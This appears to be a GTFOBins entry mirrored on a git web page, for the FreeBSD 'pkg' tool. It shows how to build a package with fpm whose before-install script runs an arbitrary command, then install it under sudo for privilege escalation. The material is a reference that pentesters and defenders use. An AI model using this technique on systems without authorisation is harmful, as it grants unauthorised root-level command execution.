1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/pkg
2026-01-09 19:34:46 +01:00

16 lines
366 B
Plaintext

---
functions:
command:
- code: |-
pkg install -y --no-repo-update ./x-1.0.txz
comment: |-
Generate the FreeBSD package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
echo /path/to/command >x.sh
fpm -n x -s dir -t freebsd -a all --before-install x.sh .
```
contexts:
sudo:
...